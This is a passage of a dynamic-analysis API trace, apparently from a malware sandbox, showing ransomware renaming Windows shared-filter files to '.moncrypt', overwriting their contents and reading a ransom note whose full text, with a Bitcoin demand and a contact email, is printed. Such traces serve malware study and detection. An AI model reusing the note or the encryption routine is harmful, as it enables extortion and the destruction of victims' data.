OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0042.599] CharLowerBuffW (in: lpsz="CGMIMP32.FNT", cchLength=0xc | out: lpsz="cgmimp32.fnt") returned 0xc [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.599] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpUsedDefaultChar=0x0) returned 67 [0042.599] CharLowerBuffW (in: lpsz=".FNT", cchLength=0x4 | out: lpsz=".fnt") returned 0x4 [0042.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".fnt", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".fntShared\\GRPHFLT\\CGMIMP32.FNT", lpUsedDefaultChar=0x0) returned 4 [0042.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 0x54e200 [0042.600] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0042.600] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0042.600] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0042.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", dwFileAttributes=0x20) returned 1 [0042.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0042.601] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.moncrypt")) returned 1 [0042.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0042.602] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0042.602] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x93f6e [0042.602] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0042.602] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0042.604] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.604] GlobalLock (hMem=0x440004) returned 0x557188 [0042.604] GlobalHandle (pMem=0x557188) returned 0x440004 [0042.604] GlobalUnlock (hMem=0x440004) returned 0 [0042.604] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0042.604] GlobalLock (hMem=0x440004) returned 0x557188 [0042.605] GlobalHandle (pMem=0x557188) returned 0x440004 [0042.605] GlobalUnlock (hMem=0x440004) returned 0 [0042.605] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0042.605] GlobalLock (hMem=0x440004) returned 0x557188 [0042.605] GlobalHandle (pMem=0x551178) returned 0x44000c [0042.605] GlobalUnlock (hMem=0x44000c) returned 0 [0042.605] GlobalHandle (pMem=0x557188) returned 0x440004 [0042.605] GlobalUnlock (hMem=0x440004) returned 0 [0042.605] GlobalLock (hMem=0x440004) returned 0x551178 [0042.605] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.605] GlobalUnlock (hMem=0x440004) returned 0 [0042.605] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0042.605] GlobalLock (hMem=0x440004) returned 0x551178 [0042.605] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.605] GlobalUnlock (hMem=0x440004) returned 0 [0042.605] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0042.611] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0042.611] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0042.612] SetFilePointer (in: hFile=0x188, lDistanceToMove=606062, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x93f6e [0042.612] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0042.617] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0042.617] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d28*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d28*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0042.758] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0042.758] CloseHandle (hObject=0x188) returned 1 [0042.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0042.768] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0042.769] CloseHandle (hObject=0x188) returned 1 [0042.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.moncrypt", dwFileAttributes=0x20) returned 1 [0042.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0042.769] GlobalLock (hMem=0x440004) returned 0x551178 [0042.769] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.769] GlobalUnlock (hMem=0x440004) returned 0 [0042.769] GlobalLock (hMem=0x440004) returned 0x551178 [0042.769] GlobalLock (hMem=0x44000c) returned 0x553188 [0042.769] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.769] GlobalUnlock (hMem=0x440004) returned 0 [0042.769] GlobalHandle (pMem=0x553188) returned 0x44000c [0042.769] GlobalUnlock (hMem=0x44000c) returned 0 [0042.769] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0042.769] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c290c00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3c290c00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c290c00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0042.770] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0042.770] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0042.770] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0042.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0042.770] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0042.770] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0042.770] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0042.770] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0042.770] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0042.770] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0042.770] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0042.770] CloseHandle (hObject=0x188) returned 1 [0042.771] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0042.771] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0042.771] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0042.771] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.771] GlobalHandle (pMem=0x551178) returned 0x44000c [0042.771] GlobalUnlock (hMem=0x44000c) returned 0 [0042.771] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.771] GlobalLock (hMem=0x440004) returned 0x553188 [0042.771] GlobalHandle (pMem=0x551178) returned 0x44000c [0042.771] GlobalUnlock (hMem=0x44000c) returned 0 [0042.771] GlobalHandle (pMem=0x553188) returned 0x440004 [0042.771] GlobalUnlock (hMem=0x440004) returned 0 [0042.771] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0042.771] CharLowerBuffW (in: lpsz="EPSIMP32.FLT", cchLength=0xc | out: lpsz="epsimp32.flt") returned 0xc [0042.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0042.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0042.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpUsedDefaultChar=0x0) returned 67 [0042.772] CharLowerBuffW (in: lpsz=".FLT", cchLength=0x4 | out: lpsz=".flt") returned 0x4 [0042.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".flt", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".fltShared\\GRPHFLT\\EPSIMP32.FLT", lpUsedDefaultChar=0x0) returned 4 [0042.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 0x54e200 [0042.772] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0042.772] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0042.772] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0042.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", dwFileAttributes=0x20) returned 1 [0042.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0042.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.moncrypt")) returned 1 [0042.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0042.774] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0042.774] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xadf90 [0042.774] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0042.774] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0042.784] GlobalLock (hMem=0x440004) returned 0x551178 [0042.784] GlobalLock (hMem=0x44000c) returned 0x557188 [0042.784] GlobalHandle (pMem=0x557188) returned 0x44000c [0042.784] GlobalUnlock (hMem=0x44000c) returned 0 [0042.784] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0042.784] GlobalLock (hMem=0x44000c) returned 0x557188 [0042.784] GlobalHandle (pMem=0x557188) returned 0x44000c [0042.784] GlobalUnlock (hMem=0x44000c) returned 0 [0042.784] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0042.784] GlobalLock (hMem=0x44000c) returned 0x557188 [0042.784] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.784] GlobalUnlock (hMem=0x440004) returned 0 [0042.785] GlobalHandle (pMem=0x557188) returned 0x44000c [0042.785] GlobalUnlock (hMem=0x44000c) returned 0 [0042.785] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.785] GlobalHandle (pMem=0x551178) returned 0x44000c [0042.785] GlobalUnlock (hMem=0x44000c) returned 0 [0042.785] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0042.785] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.785] GlobalHandle 